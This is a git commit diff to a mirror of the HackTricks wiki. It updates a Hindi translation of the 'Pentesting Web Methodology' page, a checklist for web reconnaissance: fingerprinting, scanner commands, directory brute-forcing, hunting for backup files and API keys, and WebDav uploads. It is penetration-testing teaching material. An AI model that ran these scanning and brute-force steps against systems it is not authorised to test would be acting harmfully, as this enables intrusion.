mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/basic-.net-deserializati
This commit is contained in:
Translator
parent
d9aad21bb0
commit
21b2de2772
@ -447,6 +447,7 @@
|
||||
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
|
||||
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
|
||||
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
|
||||
- [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
|
||||
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
|
||||
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
|
||||
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
|
||||
@ -929,4 +930,3 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# 80,443 - Pentesting Web Methodology
|
||||
# 80,443 - Pentesting वेब कार्यप्रणाली
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## बुनियादी जानकारी
|
||||
|
||||
वेब सेवा सबसे **सामान्य और व्यापक सेवा** है और कई प्रकार की **vulnerabilities** मौजूद हैं।
|
||||
वेब सर्विस सबसे **आम और व्यापक सेवा** है और बहुत सारे **different types of vulnerabilities** मौजूद हैं।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
@ -26,46 +26,46 @@ web-api-pentesting.md
|
||||
|
||||
## कार्यप्रणाली सारांश
|
||||
|
||||
> इस कार्यप्रणाली में हम मानेंगे कि आप केवल एक domain (या subdomain) पर हमला कर रहे हैं और केवल वही। इसलिए, आपको यह कार्यप्रणाली उस scope के भीतर पाए गए हर domain, subdomain या IP (जिसमें undetermined web server हो) पर लागू करनी चाहिए।
|
||||
> इस कार्यप्रणाली में हम यह मानेंगे कि आप किसी एक domain (या subdomain) पर ही हमला करने जा रहे हैं और सिर्फ़ वही। इसलिए, आपको इस कार्यप्रणाली को स्कोप में पाए गए प्रत्येक domain, subdomain या अनिर्धारित वेब सर्वर वाले IP पर लागू करना चाहिए।
|
||||
|
||||
- [ ] शुरू करें **पहचान करने** से कि वेब सर्वर द्वारा कौन सी **technologies** उपयोग की जा रही हैं। अगर आप tech को सफलतापूर्वक पहचान पाते हैं तो टेस्ट के बाकी हिस्सों के दौरान ध्यान में रखने के लिए **tricks** देखें।
|
||||
- [ ] क्या उस technology के version की कोई **known vulnerability** है?
|
||||
- [ ] कोई **well known tech** उपयोग किया जा रहा है? कोई ऐसा **useful trick** जिससे अधिक जानकारी निकाली जा सके?
|
||||
- [ ] कोई **specialised scanner** चलाने के लिए (जैसे wpscan)?
|
||||
- [ ] सामान्य प्रयोजन के **scanners** लॉन्च करें। कभी-कभी वे कुछ ढूंढ लेते हैं या कुछ रोचक जानकारी दे देते हैं।
|
||||
- [ ] **initial checks** से शुरू करें: **robots**, **sitemap**, **404** error और **SSL/TLS scan** (if HTTPS)।
|
||||
- [ ] वेब पेज पर **spidering** शुरू करें: अब समय है सभी संभावित **files, folders** और प्रयोग हो रहे **parameters** खोजने का। साथ ही **special findings** की जांच करें।
|
||||
- [ ] _नोट: किसी भी नया directory जब भी brute-forcing या spidering के दौरान मिलती है, उसे spider किया जाना चाहिए।_
|
||||
- [ ] **Directory Brute-Forcing**: सभी खोजे गए folders पर brute force करके नए **files** और **directories** खोजने की कोशिश करें।
|
||||
- [ ] _नोट: किसी भी नया directory जब भी brute-forcing या spidering के दौरान मिलता है, उसे Brute-Forced किया जाना चाहिए।_
|
||||
- [ ] **Backups checking**: देखें क्या आप पाए गए **files** के **backups** सामान्य backup extensions जोड़कर ढूंढ सकते हैं।
|
||||
- [ ] **Brute-Force parameters**: छिपे हुए parameters खोजने की कोशिश करें।
|
||||
- [ ] एक बार जब आपने सभी संभावित **endpoints** जो **user input** स्वीकार करते हैं, की **पहचान** कर ली हो, तो उन सभी प्रकार की संबंधित **vulnerabilities** की जाँच करें।
|
||||
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [ ] शुरुआत करें: वेब सर्वर द्वारा उपयोग की जा रही **तकनीकें** की **पहचान** करें। यदि आप टेक की पहचान कर पाते हैं तो टेस्ट के बाकी हिस्सों में ध्यान में रखने के लिए कोई उपयोगी **tricks** देखें।
|
||||
- [ ] क्या उस तकनीक के संस्करण के लिए कोई **known vulnerability** मौजूद है?
|
||||
- [ ] क्या कोई **well known tech** उपयोग में है? अधिक जानकारी निकालने के लिए कोई **useful trick** है?
|
||||
- [ ] क्या चलाने के लिए कोई **specialised scanner** है (जैसे wpscan)?
|
||||
- [ ] **general purposes scanners** लॉन्च करें। पता नहीं वे कुछ पाएँगे या कोई रोचक जानकारी मिलेगी।
|
||||
- [ ] **initial checks** से शुरू करें: **robots**, **sitemap**, **404** error और **SSL/TLS scan** (यदि **HTTPS**)।
|
||||
- [ ] वेब पेज पर **spidering** शुरू करें: अब सभी संभावित **files, folders** और उपयोग हो रहे **parameters** को **find** करने का समय है। साथ ही **special findings** की जांच करें।
|
||||
- [ ] _नोट: जब भी brute-forcing या spidering के दौरान कोई नया directory मिलता है, उसे spider किया जाना चाहिए._
|
||||
- [ ] **Directory Brute-Forcing**: खोजे गए सभी folders को brute force करके नए **files** और **directories** खोजने का प्रयास करें।
|
||||
- [ ] _नोट: जब भी brute-forcing या spidering के दौरान कोई नया directory मिलता है, उसे Brute-Forced किया जाना चाहिए._
|
||||
- [ ] **Backups checking**: देखें कि क्या आप खोजे गए **files** के **backups** सामान्य backup extensions जोड़कर पा सकते हैं।
|
||||
- [ ] **Brute-Force parameters**: छिपे हुए **parameters** खोजने की कोशिश करें।
|
||||
- [ ] जब आपने सभी संभावित **endpoints** जो **user input** स्वीकार करते हैं **पहचान** लिए हों, तो उनसे संबंधित सभी प्रकार की **vulnerabilities** की जांच करें।
|
||||
- [ ] [इस चेकलिस्ट का पालन करें](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## सर्वर संस्करण (कमजोर?)
|
||||
## सर्वर संस्करण (Vulnerable?)
|
||||
|
||||
### पहचान
|
||||
|
||||
जाँच करें कि चल रहे सर्वर के उस **version** के लिए कोई **known vulnerabilities** तो नहीं हैं।\
|
||||
प्रतिक्रिया के **HTTP headers और cookies** तकनीकों और/या उपयोग हो रहे संस्करण की **पहचान** करने में बहुत उपयोगी हो सकते हैं। **Nmap scan** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
चेक करें कि चल रहे सर्वर के उस **version** के लिए कोई **known vulnerabilities** मौजूद हैं या नहीं।\
|
||||
रिस्पॉन्स के **HTTP headers** और **cookies** उस उपयोग की जा रही **technologies** और/या **version** की **identify** करने में बहुत उपयोगी हो सकते हैं। **Nmap scan** सर्वर वर्जन पहचान सकता है, लेकिन ये tools भी उपयोगी हो सकते हैं: [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
खोजें [**वेब एप्लिकेशन के संस्करण की vulnerabilities**](../../generic-hacking/search-exploits.md)
|
||||
खोजें [**वेब एप्लिकेशन के संस्करण की कमजोरियाँ**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **जाँचें कि कोई WAF है या नहीं**
|
||||
### **कोई WAF है या नहीं जांचें**
|
||||
|
||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Web tech tricks
|
||||
### वेब टेक ट्रिक्स
|
||||
|
||||
कई जानकारियों: विभिन्न well known technologies में vulnerabilities खोजने के लिए कुछ ट्रिक्स:
|
||||
किसी भी उपयोग की जा रही विभिन्न प्रसिद्ध तकनीकों में कमजोरियों को खोजने के लिए कुछ ट्रिक्स:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -100,28 +100,30 @@ webanalyze -host https://google.com -crawl 2
|
||||
- [**Werkzeug**](werkzeug.md)
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
- [**Sitecore**](sitecore/index.html)
|
||||
|
||||
_ध्यान रखें कि वही **domain** विभिन्न **technologies** को विभिन्न **ports**, **folders** और **subdomains** पर इस्तेमाल कर सकता है._\
|
||||
यदि web application किसी भी पहले सूचीबद्ध well known **tech/platform** या किसी अन्य का उपयोग कर रही है, तो Internet पर नई **tricks** खोजना न भूलें (और मुझे सूचित करें!).
|
||||
_ध्यान रखें कि एक ही **domain** विभिन्न **technologies** को अलग-अलग **ports**, **folders** और **subdomains** में उपयोग कर सकता है._\
|
||||
यदि वेब एप्लिकेशन किसी भी प्रसिद्ध पहले सूचीबद्ध **tech/platform** या **किसी अन्य** का उपयोग कर रहा है, तो नए ट्रिक्स के लिए इंटरनेट पर खोज करना न भूलें (और मुझे बताएं!).
|
||||
|
||||
### Source Code Review
|
||||
### स्रोत कोड समीक्षा
|
||||
|
||||
यदि application का **source code** github पर उपलब्ध है, तो अपनी तरफ से एक **White box test** करने के अलावा कुछ जानकारी है जो वर्तमान **Black-Box testing** के लिए उपयोगी हो सकती है:
|
||||
यदि आवेदन का **source code** **github** पर उपलब्ध है, तो आवेदन पर अपने द्वारा एक **White box test** करने के अलावा कुछ जानकारी मौजूद हो सकती है जो वर्तमान **Black-Box testing** के लिए उपयोगी हो सकती है:
|
||||
|
||||
- क्या कोई **Change-log or Readme or Version** file या कोई और चीज़ है जिसमें **version info accessible** वेब के माध्यम से मिल सकती है?
|
||||
- **Credentials** कैसे और कहाँ सेव किए जाते हैं? क्या कोई (accessible?) **file** है जिसमें credentials (usernames या passwords) हैं?
|
||||
- क्या कोई **Change-log** या **Readme** या **Version** फाइल या कोई भी ऐसी चीज़ है जिसमें version info वेब के माध्यम से उपलब्ध है?
|
||||
- credentials किस तरह और कहाँ saved हैं? क्या कोई (accessible?) **file** credentials (usernames या passwords) के साथ मौजूद है?
|
||||
- क्या **passwords** **plain text** में हैं, **encrypted** हैं या किस **hashing algorithm** का उपयोग किया गया है?
|
||||
- क्या कुछ encrypt करने के लिए कोई **master key** उपयोग हो रही है? कौन सा **algorithm** उपयोग किया जा रहा है?
|
||||
- क्या आप किसी vulnerability का फायदा उठाकर इन में से किसी भी **file** को **access** कर सकते हैं?
|
||||
- क्या github में (solve किए गए और unsolved) **issues** में कोई दिलचस्प जानकारी है? या **commit history** में (शायद किसी पुराने commit में कोई **password** शामिल किया गया हो)?
|
||||
- क्या यह किसी भी चीज़ को encrypt करने के लिए किसी **master key** का उपयोग कर रहा है? कौन सा **algorithm** उपयोग किया गया है?
|
||||
- क्या आप किसी vulnerability का exploit करके इन में से किसी **file** तक पहुँच सकते हैं?
|
||||
- क्या **github** में कोई रोचक जानकारी है (solved और not solved) **issues** में? या **commit history** में (शायद कोई **password** पुराने commit में जोड़ा गया हो)?
|
||||
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Automatic scanners
|
||||
### स्वचालित स्कैनर्स
|
||||
|
||||
#### General purpose automatic scanners
|
||||
#### सामान्य प्रयोजन के स्वचालित स्कैनर्स
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
@ -133,12 +135,12 @@ nuclei -ut && nuclei -target <URL>
|
||||
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
|
||||
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
|
||||
```
|
||||
#### CMS scanners
|
||||
#### CMS स्कैनर
|
||||
|
||||
यदि कोई CMS उपयोग किया जा रहा है तो **run a scanner** करना न भूलें, शायद कुछ दिलचस्प मिल जाए:
|
||||
यदि किसी CMS का उपयोग किया जा रहा है तो **स्कैनर चलाना** न भूलें — हो सकता है कुछ दिलचस्प मिल जाए:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइट्स के Security issues के लिए। (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइटों की सुरक्षा समस्याओं के लिए। (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **या** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
@ -148,43 +150,43 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> इस बिंदु पर आपके पास क्लाइंट द्वारा उपयोग किए जा रहे वेब सर्वर के बारे में कुछ जानकारी होनी चाहिए (यदि कोई डेटा दिया गया है) और टेस्ट के दौरान ध्यान में रखने के लिए कुछ ट्रिक्स। अगर आप भाग्यशाली हैं तो आपने एक CMS भी ढूंढ लिया होगा और कुछ scanner चलाया होगा।
|
||||
> इस बिंदु पर आपके पास पहले से ही क्लाइंट द्वारा उपयोग किए जा रहे web server के बारे में कुछ जानकारी होनी चाहिए (यदि कोई डेटा दिया गया है) और परीक्षण के दौरान ध्यान में रखने के लिए कुछ ट्रिक्स। अगर आप भाग्यशाली हैं तो आपने एक CMS भी पाया होगा और कुछ scanner चलाया होगा।
|
||||
|
||||
## चरण-दर-चरण वेब एप्लिकेशन खोज
|
||||
|
||||
> इस बिंदु से हम वेब एप्लिकेशन के साथ इंटरैक्ट करना शुरू करेंगे।
|
||||
|
||||
### प्रारंभिक जांच
|
||||
### प्रारंभिक जाँच
|
||||
|
||||
**डिफ़ॉल्ट पेज जिनमें रोचक जानकारी हो सकती है:**
|
||||
**डिफ़ॉल्ट पेज जिनमें दिलचस्प जानकारी हो:**
|
||||
|
||||
- /robots.txt
|
||||
- /sitemap.xml
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- मुख्य और द्वितीयक पृष्ठों में टिप्पणियाँ भी देखें।
|
||||
- मुख्य और द्वितीयक पेजों में टिप्पणियाँ भी जांचें।
|
||||
|
||||
**Forcing errors**
|
||||
**त्रुटियाँ उत्पन्न करना**
|
||||
|
||||
वेब सर्वर तब **behave unexpectedly** कर सकते हैं जब उन्हें अजीब डेटा भेजा जाए। इससे कुछ **vulnerabilities** खुल सकती हैं या **disclosure sensitive information** हो सकता है।
|
||||
Web servers जब अजीब डेटा भेजा जाता है तो अनपेक्षित तरीके से व्यवहार कर सकते हैं। इससे vulnerabilities खुल सकती हैं या संवेदनशील जानकारी का खुलासा हो सकता है।
|
||||
|
||||
- /whatever_fake.php (.aspx,.html,.etc) जैसे **fake pages** को एक्सेस करें
|
||||
- एरर बनाने के लिए **cookie values** और **parameter** values में "\[]", "]]", और "\[\[" जोड़ें
|
||||
- URL के **end** पर इनपुट के रूप में **`/~randomthing/%s`** देकर error जनरेट करें
|
||||
- PATCH, DEBUG जैसे अलग HTTP Verbs आज़माएँ या FAKE जैसे गलत verbs ट्राई करें
|
||||
- /whatever_fake.php (.aspx,.html,.etc) जैसे fake pages को एक्सेस करें
|
||||
- त्रुटियाँ पैदा करने के लिए **cookie values** और **parameter values** में **"\[]", "]]", और "\[["** जोड़ें
|
||||
- **URL** के **end** पर **`/~randomthing/%s`** जैसा इनपुट देकर त्रुटि उत्पन्न करें
|
||||
- PATCH, DEBUG जैसे या FAKE जैसे गलत **HTTP Verbs** आज़माएँ
|
||||
|
||||
#### **जाँच करें कि आप फाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
#### **जांचें कि क्या आप फाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
यदि आप पाएँ कि **WebDav** **enabled** है पर root folder में फाइलें अपलोड करने के लिए पर्याप्त permissions नहीं हैं तो कोशिश करें:
|
||||
यदि आप पाते हैं कि **WebDav** सक्रिय है पर root फ़ोल्डर में **uploading files** के लिए आपके पास पर्याप्त permissions नहीं हैं, तो कोशिश करें:
|
||||
|
||||
- **Brute Force** credentials
|
||||
- वेब पेज के अंदर मिले हुए बाकी **found folders** में **Upload files** via WebDav करें। हो सकता है कि आपके पास अन्य फ़ोल्डरों में फाइलें अपलोड करने की permissions हों।
|
||||
- WebDav के माध्यम से **Upload files** को वेब पेज के बाकी मिले हुए फ़ोल्डरों में अपलोड करने की कोशिश करें। हो सकता है कि अन्य फ़ोल्डरों में आपको फाइलें अपलोड करने की permissions मिलें।
|
||||
|
||||
### **SSL/TLS vulnerabilites**
|
||||
### **SSL/TLS कमजोरियाँ**
|
||||
|
||||
- यदि एप्लिकेशन किसी भी हिस्से में **isn't forcing the user of HTTPS** है, तो यह **vulnerable to MitM** है
|
||||
- यदि एप्लिकेशन **sending sensitive data (passwords) using HTTP** कर रहा है, तो यह एक हाई vulnerability है।
|
||||
- यदि एप्लिकेशन किसी भी हिस्से में यूजर को HTTPS उपयोग करने के लिए मजबूर नहीं कर रहा है, तो यह MitM के प्रति vulnerable है
|
||||
- यदि एप्लिकेशन संवेदनशील डेटा (passwords) HTTP का उपयोग करके भेज रहा है, तो यह एक उच्च vulnerability है।
|
||||
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
|
||||
```bash
|
||||
@ -195,16 +197,16 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vul
|
||||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
Information about SSL/TLS vulnerabilities:
|
||||
SSL/TLS कमज़ोरियों के बारे में जानकारी:
|
||||
|
||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
|
||||
Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.
|
||||
वेब के अंदर किसी तरह का **spider** चलाएँ। spider का लक्ष्य परीक्षण किए जा रहे application से जितने संभव हो उतने **paths** **खोजना** है। इसलिए, web crawling और external sources का उपयोग करके जितने संभव हो उतने valid paths खोजे जाने चाहिए।
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
|
||||
@ -234,7 +236,7 @@ Launch some kind of **spider** inside the web. The goal of the spider is to **fi
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
|
||||
रूट फ़ोल्डर से **brute-forcing** शुरू करें और सुनिश्चित करें कि आप इस **method** का उपयोग करके पाए गए सभी **directories** और **Spidering** से खोजे गए सभी directories को भी brute-force करें (आप इसे **recursively** कर सकते हैं और उपयोग किए जाने वाले wordlist के शुरुआत में पाए गए directory के नाम जोड़ सकते हैं)।\
|
||||
Tools:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
|
||||
@ -267,41 +269,41 @@ Tools:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
|
||||
_नोट: जब भी कोई नया directory brute-forcing या spidering के दौरान मिलती है, उसे तुरंत Brute-Force किया जाना चाहिए।_
|
||||
|
||||
### What to check on each file found
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
|
||||
- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file.
|
||||
- **File Backups**: एक बार जब आपने सभी files खोज लिए, तो सभी executable files के backups खोजें ("_.php_", "_.aspx_"...). बैकअप नाम देने के सामान्य वैरिएशन हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ आप [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का भी उपयोग कर सकते हैं।
|
||||
- **Discover new parameters**: आप hidden parameters खोजने के लिए [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) जैसे tools का उपयोग कर सकते हैं। संभव हो तो हर executable web file पर hidden parameters खोजने की कोशिश करें।
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**.
|
||||
- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
|
||||
- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
|
||||
- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
- **Comments:** सभी files की comments जाँचें; यहाँ आपको **credentials** या **hidden functionality** मिल सकती है।
|
||||
- अगर आप **CTF** खेल रहे हैं तो एक सामान्य चाल यह है कि पेज के स्रोत में comments के दाईं ओर (हज़ारों spaces का उपयोग करके) जानकारी **छिपाई** जाए ताकि ब्राउज़र में सोर्स देखने पर वह दिखाई न दे। दूसरी संभावना यह है कि कई new lines का उपयोग करके पेज के bottom में comment में जानकारी छिपाई जाए।
|
||||
- **API keys**: अगर आप कोई API key पाते हैं तो विभिन्न platforms की API keys कैसे उपयोग करें उस पर मार्गदर्शक हैं: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: अगर आप कोई API key पाते हैं जो **AIza** से शुरू लगती है जैसे SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, तो आप यह जांचने के लिए [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि key किन APIs तक पहुँच सकती है।
|
||||
- **S3 Buckets**: Spidering करते समय देखें कि क्या कोई **subdomain** या कोई **link** किसी **S3 bucket** से संबंधित है। ऐसी स्थिति में, [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
|
||||
### Special findings
|
||||
|
||||
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
|
||||
**Spidering** और **brute-forcing** करते समय आप कुछ **interesting** चीज़ें पा सकते हैं जिन पर ध्यान देना चाहिए।
|
||||
|
||||
**Interesting files**
|
||||
|
||||
- Look for **links** to other files inside the **CSS** files.
|
||||
- CSS फाइलों के अंदर अन्य files के **links** देखें।
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
|
||||
- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
|
||||
- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable.
|
||||
- अगर आपको _**.env**_ मिलता है तो उसमें api keys, dbs passwords और अन्य जानकारी मिल सकती है।
|
||||
- अगर आपको **API endpoints** मिलते हैं तो आप उन्हें [should also test them](web-api-pentesting.md)। ये files नहीं हैं, पर दिखने में अक्सर उनकी तरह लगते हैं।
|
||||
- **JS files**: spidering सेक्शन में कई tools का उल्लेख था जो JS files से paths निकाल सकते हैं। साथ ही, यह उपयोगी होगा कि हर पाए गए JS file की **monitoring** की जाए, क्योंकि कभी-कभी किसी JS में बदलाव यह संकेत दे सकता है कि code में संभावित vulnerability आई है। उदाहरण के लिए आप [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
|
||||
- आप पाए गए JS files को vulnerable होने के लिए [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) से भी चेक कर सकते हैं।
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
